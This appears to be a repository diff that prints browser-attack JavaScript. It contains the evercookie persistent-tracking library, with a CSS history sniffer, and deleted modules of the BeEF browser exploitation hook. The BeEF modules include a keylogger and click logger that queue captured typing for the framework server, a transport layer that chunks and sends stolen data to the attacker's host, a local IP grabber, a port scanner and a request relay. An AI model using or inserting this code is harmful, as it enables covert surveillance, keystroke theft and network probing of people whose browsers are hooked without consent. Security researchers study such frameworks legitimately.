if (typeof i == 'undefined')
i = 0;
// first run
if (i == 0)
{
self.evercookie_database_storage(name, value);
self.evercookie_png(name, value);
self.evercookie_etag(name, value);
self.evercookie_cache(name, value);
self.evercookie_lso(name, value);
self.evercookie_silverlight(name, value);
self._ec.userData = self.evercookie_userdata(name, value);
self._ec.cookieData = self.evercookie_cookie(name, value);
self._ec.localData = self.evercookie_local_storage(name, value);
self._ec.globalData = self.evercookie_global_storage(name, value);
self._ec.sessionData = self.evercookie_session_storage(name, value);
self._ec.windowData = self.evercookie_window(name, value);
if (_ec_history)
self._ec.historyData = self.evercookie_history(name, value);
}
// when writing data, we need to make sure lso and silverlight object is there
if (typeof value != 'undefined')
{
if (
(
(typeof _global_lso == 'undefined') ||
(typeof _global_isolated == 'undefined')
)
&& i++ < _ec_tests
)
setTimeout(function() { self._evercookie(name, cb, value, i, dont_reset) }, 300);
}
// when reading data, we need to wait for swf, db, silverlight and png
else
{
if (
(
// we support local db and haven't read data in yet
(window.openDatabase && typeof self._ec.dbData == 'undefined') ||
(typeof _global_lso == 'undefined') ||
(typeof self._ec.etagData == 'undefined') ||
(typeof self._ec.cacheData == 'undefined') ||
(document.createElement('canvas').getContext && (typeof self._ec.pngData == 'undefined' || self._ec.pngData == '')) ||
(typeof _global_isolated == 'undefined')
)
&&
i++ < _ec_tests
)
{
setTimeout(function() { self._evercookie(name, cb, value, i, dont_reset) }, 300);
}
// we hit our max wait time or got all our data
else
{
// get just the piece of data we need from swf
self._ec.lsoData = self.getFromStr(name, _global_lso);
_global_lso = undefined;
// get just the piece of data we need from silverlight
self._ec.slData = self.getFromStr(name, _global_isolated);
_global_isolated = undefined;
var tmpec = self._ec;
self._ec = {};
// figure out which is the best candidate
var candidates = new Array();
var bestnum = 0;
var candidate;
for (var item in tmpec)
{
if (typeof tmpec[item] != 'undefined' && typeof tmpec[item] != 'null' && tmpec[item] != '' &&
tmpec[item] != 'null' && tmpec[item] != 'undefined' && tmpec[item] != null)
{
candidates[tmpec[item]] = typeof candidates[tmpec[item]] == 'undefined' ? 1 : candidates[tmpec[item]] + 1;
}
}
for (var item in candidates)
{
if (candidates[item] > bestnum)
{
bestnum = candidates[item];
candidate = item;
}
}
// reset cookie everywhere
if (typeof dont_reset == "undefined" || dont_reset != 1)
self.set(name, candidate);
if (typeof cb == 'function')
cb(candidate, tmpec);
}
}
}
this.evercookie_window = function(name, value)
{
try {
if (typeof(value) != "undefined")
window.name = _ec_replace(window.name, name, value);
else
return this.getFromStr(name, window.name);
} catch(e) { }
}
this.evercookie_userdata = function(name, value)
{
try {
var elm = this.createElem('div', 'userdata_el', 1);
elm.style.behavior = "url(#default#userData)";
if (typeof(value) != "undefined")
{
elm.setAttribute(name, value);
elm.save(name);
}
else
{
elm.load(name);
return elm.getAttribute(name);
}
} catch(e) { }
}
this.evercookie_cache = function(name, value)
{
if (typeof(value) != "undefined")
{
// make sure we have evercookie session defined first
document.cookie = 'evercookie_cache=' + value;
// evercookie_cache.php handles caching
var img = new Image();
img.style.visibility = 'hidden';
img.style.position = 'absolute';
img.src = 'evercookie_cache.php?name=' + name;
}
else
{
// interestingly enough, we want to erase our evercookie
// http cookie so the php will force a cached response
var origvalue = this.getFromStr('evercookie_cache', document.cookie);
self._ec.cacheData = undefined;
document.cookie = 'evercookie_cache=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
$.ajax({
url: 'evercookie_cache.php?name=' + name,
success: function(data) {
// put our cookie back
document.cookie = 'evercookie_cache=' + origvalue + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
self._ec.cacheData = data;
}
});
}
}
this.evercookie_etag = function(name, value)
{
if (typeof(value) != "undefined")
{
// make sure we have evercookie session defined first
document.cookie = 'evercookie_etag=' + value;
// evercookie_etag.php handles etagging
var img = new Image();
img.style.visibility = 'hidden';
img.style.position = 'absolute';
img.src = 'evercookie_etag.php?name=' + name;
}
else
{
// interestingly enough, we want to erase our evercookie
// http cookie so the php will force a cached response
var origvalue = this.getFromStr('evercookie_etag', document.cookie);
self._ec.etagData = undefined;
document.cookie = 'evercookie_etag=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
$.ajax({
url: 'evercookie_etag.php?name=' + name,
success: function(data) {
// put our cookie back
document.cookie = 'evercookie_etag=' + origvalue + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
self._ec.etagData = data;
}
});
}
}
this.evercookie_lso = function(name, value)
{
var div = document.getElementById('swfcontainer');
if (!div)
{
div = document.createElement("div");
div.setAttribute('id', 'swfcontainer');
document.body.appendChild(div);
}
var flashvars = {};
if (typeof value != 'undefined')
flashvars.everdata = name + '=' + value;
var params = {};
params.swliveconnect = "true";
var attributes = {};
attributes.id = "myswf";
attributes.name = "myswf";
swfobject.embedSWF("evercookie.swf", "swfcontainer", "1", "1", "9.0.0", false, flashvars, params, attributes);
}
this.evercookie_png = function(name, value)
{
if (document.createElement('canvas').getContext)
{
if (typeof(value) != "undefined")
{
// make sure we have evercookie session defined first
document.cookie = 'evercookie_png=' + value;
// evercookie_png.php handles the hard part of generating the image
// based off of the http cookie and returning it cached
var img = new Image();
img.style.visibility = 'hidden';
img.style.position = 'absolute';
img.src = 'evercookie_png.php?name=' + name;
}
else
{
self._ec.pngData = undefined;
var context = document.createElement('canvas');
context.style.visibility = 'hidden';
context.style.position = 'absolute';
context.width = 200;
context.height = 1;
var ctx = context.getContext('2d');
// interestingly enough, we want to erase our evercookie
// http cookie so the php will force a cached response
var origvalue = this.getFromStr('evercookie_png', document.cookie);
document.cookie = 'evercookie_png=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
var img = new Image();
img.style.visibility = 'hidden';
img.style.position = 'absolute';
img.src = 'evercookie_png.php?name=' + name;
img.onload = function()
{
// put our cookie back
document.cookie = 'evercookie_png=' + origvalue + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
self._ec.pngData = '';
ctx.drawImage(img,0,0);
// get CanvasPixelArray from given coordinates and dimensions
var imgd = ctx.getImageData(0, 0, 200, 1);
var pix = imgd.data;
// loop over each pixel to get the "RGB" values (ignore alpha)
for (var i = 0, n = pix.length; i < n; i += 4)
{
if (pix[i ] == 0) break;
self._ec.pngData += String.fromCharCode(pix[i]);
if (pix[i+1] == 0) break;
self._ec.pngData += String.fromCharCode(pix[i+1]);
if (pix[i+2] == 0) break;
self._ec.pngData += String.fromCharCode(pix[i+2]);
}
}
}
}
}
this.evercookie_local_storage = function(name, value)
{
try
{
if (window.localStorage)
{
if (typeof(value) != "undefined")
localStorage.setItem(name, value);
else
return localStorage.getItem(name);
}
}
catch (e) { }
}
this.evercookie_database_storage = function(name, value)
{
try
{
if (window.openDatabase)
{
var database = window.openDatabase("sqlite_evercookie", "", "evercookie", 1024 * 1024);
if (typeof(value) != "undefined")
database.transaction(function(tx)
{
tx.executeSql("CREATE TABLE IF NOT EXISTS cache(" +
"id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, " +
"name TEXT NOT NULL, " +
"value TEXT NOT NULL, " +
"UNIQUE (name)" +
")", [], function (tx, rs) { }, function (tx, err) { });
tx.executeSql("INSERT OR REPLACE INTO cache(name, value) VALUES(?, ?)", [name, value],
function (tx, rs) { }, function (tx, err) { })
});
else
{
database.transaction(function(tx)
{
tx.executeSql("SELECT value FROM cache WHERE name=?", [name],
function(tx, result1) {
if (result1.rows.length >= 1)
self._ec.dbData = result1.rows.item(0)['value'];
else
self._ec.dbData = '';
}, function (tx, err) { })
});
}
}
} catch(e) { }
}
this.evercookie_session_storage = function(name, value)
{
try
{
if (window.sessionStorage)
{
if (typeof(value) != "undefined")
sessionStorage.setItem(name, value);
else
return sessionStorage.getItem(name);
}
} catch(e) { }
}
this.evercookie_global_storage = function(name, value)
{
if (window.globalStorage)
{
var host = this.getHost();
try
{
if (typeof(value) != "undefined")
eval("globalStorage[host]." + name + " = value");
else
return eval("globalStorage[host]." + name);
} catch(e) { }
}
}
this.evercookie_silverlight = function(name, value) {
/*
* Create silverlight embed
*
* Ok. so, I tried doing this the proper dom way, but IE chokes on appending anything in object tags (including params), so this
* is the best method I found. Someone really needs to find a less hack-ish way. I hate the look of this shit.
*/
var source = "evercookie.xap";
var minver = "4.0.50401.0";
var initParam = "";
if(typeof(value) != "undefined")
initParam = '<param name="initParams" value="'+name+'='+value+'" />';
var html =
'<object data="data:application/x-silverlight-2," type="application/x-silverlight-2" id="mysilverlight" width="0" height="0">' +
initParam +
'<param name="source" value="'+source+'"/>' +
'<param name="onLoad" value="onSilverlightLoad"/>' +
'<param name="onError" value="onSilverlightError"/>' +
'<param name="background" value="Transparent"/>' +
'<param name="windowless" value="true"/>' +
'<param name="minRuntimeVersion" value="'+minver+'"/>' +
'<param name="autoUpgrade" value="true"/>' +
'<a href="http://go.microsoft.com/fwlink/?LinkID=149156&v='+minver+'" style="text-decoration:none">' +
'<img src="http://go.microsoft.com/fwlink/?LinkId=108181" alt="Get Microsoft Silverlight" style="border-style:none"/>' +
'</a>' +
'</object>';
document.body.innerHTML+=html;
}
// public method for encoding
this.encode = function (input) {
var output = "";
var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
var i = 0;
input = this._utf8_encode(input);
while (i < input.length) {
chr1 = input.charCodeAt(i++);
chr2 = input.charCodeAt(i++);
chr3 = input.charCodeAt(i++);
enc1 = chr1 >> 2;
enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
enc4 = chr3 & 63;
if (isNaN(chr2)) {
enc3 = enc4 = 64;
} else if (isNaN(chr3)) {
enc4 = 64;
}
output = output +
_baseKeyStr.charAt(enc1) + _baseKeyStr.charAt(enc2) +
_baseKeyStr.charAt(enc3) + _baseKeyStr.charAt(enc4);
}
return output;
}
// public method for decoding
this.decode = function (input) {
var output = "";
var chr1, chr2, chr3;
var enc1, enc2, enc3, enc4;
var i = 0;
input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
while (i < input.length) {
enc1 = _baseKeyStr.indexOf(input.charAt(i++));
enc2 = _baseKeyStr.indexOf(input.charAt(i++));
enc3 = _baseKeyStr.indexOf(input.charAt(i++));
enc4 = _baseKeyStr.indexOf(input.charAt(i++));
chr1 = (enc1 << 2) | (enc2 >> 4);
chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
chr3 = ((enc3 & 3) << 6) | enc4;
output = output + String.fromCharCode(chr1);
if (enc3 != 64) {
output = output + String.fromCharCode(chr2);
}
if (enc4 != 64) {
output = output + String.fromCharCode(chr3);
}
}
output = this._utf8_decode(output);
return output;
}
// private method for UTF-8 encoding
this._utf8_encode = function (string) {
string = string.replace(/\r\n/g,"\n");
var utftext = "";
for (var n = 0; n < string.length; n++) {
var c = string.charCodeAt(n);
if (c < 128) {
utftext += String.fromCharCode(c);
}
else if((c > 127) && (c < 2048)) {
utftext += String.fromCharCode((c >> 6) | 192);
utftext += String.fromCharCode((c & 63) | 128);
}
else {
utftext += String.fromCharCode((c >> 12) | 224);
utftext += String.fromCharCode(((c >> 6) & 63) | 128);
utftext += String.fromCharCode((c & 63) | 128);
}
}
return utftext;
}
// private method for UTF-8 decoding
this._utf8_decode = function (utftext) {
var string = "";
var i = 0;
var c = c1 = c2 = 0;
while ( i < utftext.length ) {
c = utftext.charCodeAt(i);
if (c < 128) {
string += String.fromCharCode(c);
i++;
}
else if((c > 191) && (c < 224)) {
c2 = utftext.charCodeAt(i+1);
string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
i += 2;
}
else {
c2 = utftext.charCodeAt(i+1);
c3 = utftext.charCodeAt(i+2);
string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
i += 3;
}
}
return string;
}
// this is crazy but it's 4am in dublin and i thought this would be hilarious
// blame the guinness
this.evercookie_history = function(name, value)
{
// - is special
var baseStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=-";
var baseElems = baseStr.split("");
// sorry google.
var url = 'http://www.google.com/evercookie/cache/' + this.getHost() + '/' + name;
if (typeof(value) != "undefined")
{
// don't reset this if we already have it set once
// too much data and you can't clear previous values
if (this.hasVisited(url))
return;
this.createIframe(url, 'if');
url = url + '/';
var base = this.encode(value).split("");
for (var i = 0; i < base.length; i++)
{
url = url + base[i];
this.createIframe(url, 'if' + i);
}
// - signifies the end of our data
url = url + '-';
this.createIframe(url, 'if_');
}
else
{
// omg you got csspwn3d
if (this.hasVisited(url))
{
url = url + '/';
var letter = "";
var val = "";
var found = 1;
while (letter != '-' && found == 1)
{
found = 0;
for (var i = 0; i < baseElems.length; i++)
{
if (this.hasVisited(url + baseElems[i]))
{
letter = baseElems[i];
if (letter != '-')
val = val + letter;
url = url + letter;
found = 1;
break;
}
}
}
// lolz
return this.decode(val);
}
}
}
this.createElem = function(type, name, append)
{
var el;
if (typeof name != 'undefined' && document.getElementById(name))
el = document.getElementById(name);
else
el = document.createElement(type);
el.style.visibility = 'hidden';
el.style.position = 'absolute';
if (name)
el.setAttribute('id', name);
if (append)
document.body.appendChild(el);
return el;
}
this.createIframe = function(url, name)
{
var el = this.createElem('iframe', name, 1);
el.setAttribute('src', url);
return el;
}
// wait for our swfobject to appear (swfobject.js to load)
this.waitForSwf = function(i)
{
if (typeof i == 'undefined')
i = 0;
else
i++;
// wait for ~2 seconds for swfobject to appear
if (i < _ec_tests && typeof swfobject == 'undefined')
setTimeout(function() { waitForSwf(i) }, 300);
}
this.evercookie_cookie = function(name, value)
{
if (typeof(value) != "undefined")
{
// expire the cookie first
document.cookie = name + '=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
document.cookie = name + '=' + value + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
}
else
return this.getFromStr(name, document.cookie);
}
// get value from param-like string (eg, "x=y&name=VALUE")
this.getFromStr = function(name, text)
{
if (typeof text != 'string')
return;
var nameEQ = name + "=";
var ca = text.split(/[;&]/);
for (var i = 0; i < ca.length; i++)
{
var c = ca[i];
while (c.charAt(0) == ' ')
c = c.substring(1, c.length);
if (c.indexOf(nameEQ) == 0)
return c.substring(nameEQ.length, c.length);
}
}
this.getHost = function()
{
var domain = document.location.host;
if (domain.indexOf('www.') == 0)
domain = domain.replace('www.', '');
return domain;
}
this.toHex = function(str)
{
var r = "";
var e = str.length;
var c = 0;
var h;
while (c < e)
{
h = str.charCodeAt(c++).toString(16);
while (h.length < 2)
h = "0" + h;
r += h;
}
return r;
}
this.fromHex = function(str)
{
var r = "";
var e = str.length;
var s;
while (e >= 0)
{
s = e - 2;
r = String.fromCharCode("0x" + str.substring(s, e)) + r;
e = s;
}
return r;
}
/*
* css history knocker (determine what sites your visitors have been to)
*
* originally by Jeremiah Grossman
* http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html
*
* ported to additional browsers by Samy Kamkar
*
* compatible with ie6, ie7, ie8, ff1.5, ff2, ff3, opera, safari, chrome, flock
*
* - code@samy.pl
*/
this.hasVisited = function(url)
{
if (this.no_color == -1)
{
var no_style = this._getRGB("http://samy-was-here-this-should-never-be-visited.com", -1);
if (no_style == -1)
this.no_color =
this._getRGB("http://samy-was-here-"+Math.floor(Math.random()*9999999)+"rand.com");
}
// did we give full url?
if (url.indexOf('https:') == 0 || url.indexOf('http:') == 0)
return this._testURL(url, this.no_color);
// if not, just test a few diff types if (exact)
return this._testURL("http://" + url, this.no_color) ||
this._testURL("https://" + url, this.no_color) ||
this._testURL("http://www." + url, this.no_color) ||
this._testURL("https://www." + url, this.no_color);
}
/* create our anchor tag */
var _link = this.createElem('a', '_ec_rgb_link');
/* for monitoring */
var created_style;
/* create a custom style tag for the specific link. Set the CSS visited selector to a known value */
var _cssText = '#_ec_rgb_link:visited{display:none;color:#FF0000}';
/* Methods for IE6, IE7, FF, Opera, and Safari */
try {
created_style = 1;
var style = document.createElement('style');
if (style.styleSheet)
style.styleSheet.innerHTML = _cssText;
else if (style.innerHTML)
style.innerHTML = _cssText;
else
{
var cssT = document.createTextNode(_cssText);
style.appendChild(cssT);
}
} catch (e) {
created_style = 0;
}
/* if test_color, return -1 if we can't set a style */
this._getRGB = function(u, test_color)
{
if (test_color && created_style == 0)
return -1;
/* create the new anchor tag with the appropriate URL information */
_link.href = u;
_link.innerHTML = u;
// not sure why, but the next two appendChilds always have to happen vs just once
document.body.appendChild(style);
document.body.appendChild(_link);
/* add the link to the DOM and save the visible computed color */
var color;
if (document.defaultView)
color = document.defaultView.getComputedStyle(_link, null).getPropertyValue('color');
else
color = _link.currentStyle['color'];
return color;
}
this._testURL = function(url, no_color)
{
var color = this._getRGB(url);
/* check to see if the link has been visited if the computed color is red */
if (color == "rgb(255, 0, 0)" || color == "#ff0000")
return 1;
/* if our style trick didn't work, just compare default style colors */
else if (no_color && color != no_color)
return 1;
/* not found */
return 0;
}
};
return _class;
})();
/*
* Again, ugly workaround....same problem as flash.
*/
var _global_isolated;
function onSilverlightLoad(sender, args) {
var control = sender.getHost();
_global_isolated = control.Content.App.getIsolatedStorage();
}
/*
function onSilverlightError(sender, args) {
_global_isolated = "";
}*/
function onSilverlightError(sender, args) {
_global_isolated = "";
}

File diff suppressed because one or more lines are too long

View File

@@ -1,170 +0,0 @@
/*!
* @literal object: beef.logger
*
* Provides logging capabilities.
*/
beef.logger = {
running: false,
/**
* Holds events created by user, to be sent back to BeEF
*/
events: [],
/**
* Holds current stream of key presses
*/
stream: [],
/**
* Contains current target of key presses
*/
target: null,
/**
* Holds the time the logger was started
*/
time: null,
/**
* Starts the logger
*/
start: function() {
this.running = true;
var d = new Date();
this.time = d.getTime();
$j(document).keypress(
function(e) { beef.logger.keypress(e); }
).click(
function(e) { beef.logger.click(e); }
);
$j(window).focus(
function(e) { beef.logger.win_focus(e); }
).blur(
function(e) { beef.logger.win_blur(e); }
);
/*$j('form').submit(
function(e) { beef.logger.submit(e); }
);*/
},
/**
* Stops the logger
*/
stop: function() {
this.running = false;
clearInterval(this.timer);
$j(document).keypress(null);
},
/**
* Click function fires when the user clicks the mouse.
*/
click: function(e) {
this.events.push({'data':'User clicked: X: '+e.pageX+' Y: '+e.pageY+' @ '+beef.logger.get_timestamp()+'s > '+beef.logger.get_dom_identifier(e.target)});
},
/**
* Fires when the window element has regained focus
*/
win_focus: function(e) {
this.events.push({'data':'Browser has regained focus. @ '+beef.logger.get_timestamp()+'s'});
},
/**
* Fires when the window element has lost focus
*/
win_blur: function(e) {
this.events.push({'data':'Browser has lost focus. @ '+beef.logger.get_timestamp()+'s'});
},
/**
* Keypress function fires everytime a key is pressed.
* @param {Object} e: event object
*/
keypress: function(e) {
if (this.target == null || ($j(this.target).get(0) !== $j(e.target).get(0)))
{
beef.logger.push_stream();
this.target = e.target;
}
this.stream.push({'char':e.which, 'modifiers': {'alt':e.altKey, 'ctrl':e.ctrlKey, 'shift':e.shiftKey}});
},
/**
* Is called whenever a form is submitted
*/
submit: function(e) {
this.events.push({'data':'Form submission: Action: '+$j(e.target).attr('action')+' Method: '+$j(e.target).attr('method')+' @ '+beef.logger.get_timestamp()+'s > '+beef.logger.get_dom_identifier(e.target)});
},
/**
* Pushes the current stream to the events queue
*/
push_stream: function() {
if (this.stream.length > 0)
{
this.events.push({'data':beef.logger.parse_stream()});
this.stream = [];
}
},
/**
* Translate DOM Object to a readable string
*/
get_dom_identifier: function(target) {
target = (target == null) ? this.target : target;
var id = '';
if (target)
{
id = target.tagName.toLowerCase();
id += ($j(target).attr('id')) ? '#'+$j(target).attr('id') : ' ';
id += ($j(target).attr('name')) ? '('+$j(target).attr('name')+')' : '';
}
return id;
},
/**
* Formats the timestamp
* @return {String} timestamp string
*/
get_timestamp: function() {
var d = new Date();
return ((d.getTime() - this.time) / 1000).toFixed(3);
},
/**
* Parses stream array and creates history string
*/
parse_stream: function() {
var s = '';
for (var i in this.stream)
{
//s += (this.stream[i]['modifiers']['alt']) ? '*alt* ' : '';
//s += (this.stream[i]['modifiers']['ctrl']) ? '*ctrl* ' : '';
//s += (this.stream[i]['modifiers']['shift']) ? 'Shift+' : '';
s += String.fromCharCode(this.stream[i]['char']);
}
return 'User Typed: \"'+s+'\" @ '+beef.logger.get_timestamp()+'s > '+beef.logger.get_dom_identifier();
},
/**
* Queue results to be sent back to framework
*/
queue: function() {
beef.logger.push_stream();
if (this.events.length > 0)
{
var result = '';
var j = 0;
for (var i = this.events.length - 1; i >= 0; i--)
{
result += (i != this.events.length - 1) ? '&' : '';
result += 'stream'+j+'='+this.events[i]['data'];
j++;
}
beef.net.queue('/event', 0, result);
this.events = [];
}
}
};
beef.regCmp('beef.logger');

View File

@@ -1,215 +0,0 @@
/*!
* @literal object: beef.net
*
* Provides basic networking functions.
*/
beef.net = {
host: "<%= @beef_host %>",
port: "<%= @beef_port %>",
hook: "<%= @beef_hook %>",
handler: '/dh',
chop: 2000,
pad: 30, //this is the amount of padding for extra params such as pc, pid and sid
sid_count: 0,
cmd_queue: [],
//Command object
command: function() {
this.cid = null;
this.results = null;
this.handler = null;
this.callback = null;
this.results = null;
},
//Packet object
packet: function() {
this.id = null;
this.data = null;
},
//Stream object
stream: function() {
this.id = null;
this.packets = [];
this.pc = 0;
this.get_base_url_length = function() {
return (this.url+this.handler+'?'+'bh='+beef.session.get_hook_session_id()).length;
},
this.get_packet_data = function() {
var p = this.packets.shift();
return {'bh':beef.session.get_hook_session_id(), 'sid':this.id, 'pid':p.id, 'pc':this.pc, 'd':p.data }
};
},
/**
* Response Object - returned from beef.net.request with result of request
*/
response: function() {
this.status_code = null; // 500, 404, 200, 302
this.response_body = null; // "<html>…." if not a cross domain request
this.port_status = null; // tcp port is open, closed or not http
this.was_cross_domain = null; // true or false
this.was_timedout = null; // the user specified timeout was reached
this.duration = null; // how long it took for the request to complete
},
//Queues the command, to be sent back to the framework on the next refresh
queue: function(handler, cid, results, callback) {
if (typeof(handler) === 'string' && typeof(cid) === 'number' && (callback === undefined || typeof(callback) === 'function'))
{
var s = new beef.net.command();
s.cid = cid;
s.results = beef.net.clean(results);
s.callback = callback;
s.handler = handler;
this.cmd_queue.push(s);
}
},
//Queues the current command and flushes the queue straight away
send: function(handler, cid, results, callback) {
this.queue(handler, cid, results, callback);
this.flush();
},
//Flush all currently queued commands to the framework
flush: function() {
if (this.cmd_queue.length > 0)
{
var data = beef.encode.base64.encode(beef.encode.json.stringify(this.cmd_queue));
this.cmd_queue.length = 0;
this.sid_count++;
var stream = new this.stream();
stream.id = this.sid_count;
var pad = stream.get_base_url_length() + this.pad;
//cant continue if chop amount is too low
if ((this.chop - pad) > 0)
{
var data = this.chunk(data, (this.chop - pad));
for (var i = 1; i <= data.length; i++)
{
var packet = new this.packet();
packet.id = i;
packet.data = data[(i-1)];
stream.packets.push(packet);
}
stream.pc = stream.packets.length;
this.push(stream);
}
}
},
//Split string into chunk lengths determined by amount
chunk: function(str, amount) {
if (typeof amount == 'undefined') n=2;
return str.match(RegExp('.{1,'+amount+'}','g'));
},
//Push packets to framework
push: function(stream) {
//need to implement wait feature here eventually
for (var i = 0; i < stream.pc; i++)
{
this.request('http', 'GET', this.host, this.port, this.handler, null, stream.get_packet_data(), 10, 'text', null);
}
},
/**
*Performs http requests
* @param: {String} scheme: HTTP or HTTPS
* @param: {String} method: GET or POST
* @param: {String} domain: bindshell.net, 192.168.3.4, etc
* @param: {Int} port: 80, 5900, etc
* @param: {String} path: /path/to/resource
* @param: {String} anchor: this is the value that comes after the # in the URL
* @param: {String} data: This will be used as the query string for a GET or post data for a POST
* @param: {Int} timeout: timeout the request after N seconds
* @param: {String} dataType: specify the data return type expected (ie text/html/script)
* @param: {Funtion} callback: call the callback function at the completion of the method
*
* @return: {Object} response: this object contains the response details
*/
request: function(scheme, method, domain, port, path, anchor, data, timeout, dataType, callback) {
//check if same domain or cross domain
cross_domain = (document.domain == domain) ? false : true;
//build the url
var url = scheme+"://"+domain;
url = (port != null) ? url+":"+port : url;
url = (path != null) ? url+path : url;
url = (anchor != null) ? url+"#"+anchor : url;
//define response object
var response = new this.response;
response.was_cross_domain = cross_domain;
var start_time = new Date().getTime();
//build and execute request
$j.ajax({type: method,
dataType: dataType,
url: url,
data: data,
timeout: (timeout * 1000),
//function on success
success: function(data, textStatus, jqXHR){
var end_time = new Date().getTime();
response.status_code = textStatus;
response.response_body = data;
response.port_status = "open";
response.was_timedout = false;
response.duration = (end_time - start_time);
},
//function on failure
error: function(jqXHR, textStatus, errorThrown){
var end_time = new Date().getTime();
if (textStatus == "timeout"){
response.was_timedout = true;
};
response.status_code = textStatus;
response.duration = (end_time - start_time);
},
//function on completion
complete: function(transport) {
response.status_code = transport.status;
}
}).done(function() { if (callback != null) { callback(response); } });
return response;
},
//this is a stub, as associative arrays are not parsed by JSON, all key / value pairs should use new Object() or {}
//http://andrewdupont.net/2006/05/18/javascript-associative-arrays-considered-harmful/
clean: function(r) {
if (this.array_has_string_key(r)) {
var obj = {};
for (var key in r)
obj[key] = (this.array_has_string_key(obj[key])) ? this.clean(r[key]) : r[key];
return obj;
}
return r;
},
//Detects if an array has a string key
array_has_string_key: function(arr) {
if ($j.isArray(arr))
{
try {
for (var key in arr)
if (isNaN(parseInt(key))) return true;
} catch (e) { }
}
return false;
},
//Sends back browser details to framework
browser_details: function() {
var details = beef.browser.getDetails();
details['HookSessionID'] = beef.session.get_hook_session_id();
this.send('/init', 0, details);
}
};
beef.regCmp('beef.net');

View File

@@ -1,67 +0,0 @@
/*!
* @literal object: beef.net.local
*
* Provides networking functions for the local/internal network of the zombie.
*/
beef.net.local = {
sock: false,
/**
* Initializes the java socket. We have to use this method because
* some browsers do not have java installed or it is not accessible.
* in which case creating a socket directly generates an error. So this code
* is invalid:
* sock: new java.net.Socket();
*/
initializeSocket: function() {
if(! beef.browser.hasJava()) return -1;
try {
this.sock = new java.net.Socket();
} catch(e) {
return -1;
}
return 1;
},
/**
* Returns the internal IP address of the zombie.
* @return: {String} the internal ip of the zombie.
* @error: return -1 if the internal ip cannot be retrieved.
*/
getLocalAddress: function() {
if(! beef.browser.hasJava()) return false;
this.initializeSocket();
try {
this.sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
this.sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));
return this.sock.getLocalAddress().getHostAddress();
} catch(e) { return false; }
},
/**
* Returns the internal hostname of the zombie.
* @return: {String} the internal hostname of the zombie.
* @error: return -1 if the hostname cannot be retrieved.
*/
getLocalHostname: function() {
if(! beef.browser.hasJava()) return false;
this.initializeSocket();
try {
this.sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
this.sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));
return this.sock.getLocalAddress().getHostName();
} catch(e) { return false; }
}
};
beef.regCmp('beef.net.local');

View File

@@ -1,48 +0,0 @@
/*!
* @literal object: beef.net.portscanner
*
* Provides port scanning functions for the zombie. A mod of pdp's scanner
*
* Version: '0.1',
* author: 'Petko Petkov',
* homepage: 'http://www.gnucitizen.org'
*/
beef.net.portscanner = {
scanPort: function(callback, target, port, timeout)
{
var timeout = (timeout == null)?100:timeout;
var img = new Image();
img.onerror = function () {
if (!img) return;
img = undefined;
callback(target, port, 'open');
};
img.onload = img.onerror;
img.src = 'http://' + target + ':' + port;
setTimeout(function () {
if (!img) return;
img = undefined;
callback(target, port, 'closed');
}, timeout);
},
scanTarget: function(callback, target, ports_str, timeout)
{
var ports = ports_str.split(",");
for (index = 0; index < ports.length; index++) {
this.scanPort(callback, target, ports[index], timeout);
};
}
};
beef.regCmp('beef.net.portscanner');

View File

@@ -1,23 +0,0 @@
/*!
* @literal object: beef.net.requester
*
* request object structure:
* + method: {String} HTTP method to use (GET or POST).
* + host: {String} hostname
* + query_string: {String} The query string is a part of the URL which is passed to the program.
* + uri: {String} The URI syntax consists of a URI scheme name.
* + headers: {Array} contain the operating parameters of the HTTP request.
*/
beef.net.requester = {
handler: "requester",
send: function(requests_array) {
for(i in requests_array) {
request = requests_array[i];
beef.net.request('http', request.method, request.host, request.port, request.uri, null, null, 10, 'HTML', function(res) { beef.net.send('/requester', request.id, res.response_body); });
}
}
};
beef.regCmp('beef.net.requester');

View File

@@ -1,116 +0,0 @@
beef.os = {
ua: navigator.userAgent,
isWin311: function() {
return (this.ua.indexOf("Win16") != -1) ? true : false;
},
isWinNT4: function() {
return (this.ua.match('(Windows NT 4.0)')) ? true : false;
},
isWin95: function() {
return (this.ua.match('(Windows 95)|(Win95)|(Windows_95)')) ? true : false;
},
isWin98: function() {
return (this.ua.match('(Windows 98)|(Win98)')) ? true : false;
},
isWinME: function() {
return (this.ua.indexOf('Windows ME') != -1) ? true : false;
},
isWin2000: function() {
return (this.ua.match('(Windows NT 5.0)|(Windows 2000)')) ? true : false;
},
isWinXP: function() {
return (this.ua.match('(Windows NT 5.1)|(Windows XP)')) ? true : false;
},
isWinServer2003: function() {
return (this.ua.match('(Windows NT 5.2)')) ? true : false;
},
isWinVista: function() {
return (this.ua.match('(Windows NT 6.0)')) ? true : false;
},
isWin7: function() {
return (this.ua.match('(Windows NT 6.1)|(Windows NT 7.0)')) ? true : false;
},
isOpenBSD: function() {
return (this.ua.indexOf('OpenBSD') != -1) ? true : false;
},
isSunOS: function() {
return (this.ua.indexOf('SunOS') != -1) ? true : false;
},
isLinux: function() {
return (this.ua.match('(Linux)|(X11)')) ? true : false;
},
isMacintosh: function() {
return (this.ua.match('(Mac_PowerPC)|(Macintosh)|(MacIntel)')) ? true : false;
},
isIphone: function() {
return (this.ua.indexOf('iPhone') != -1) ? true : false;
},
isIpad: function() {
return (this.ua.indexOf('iPad') != -1) ? true : false;
},
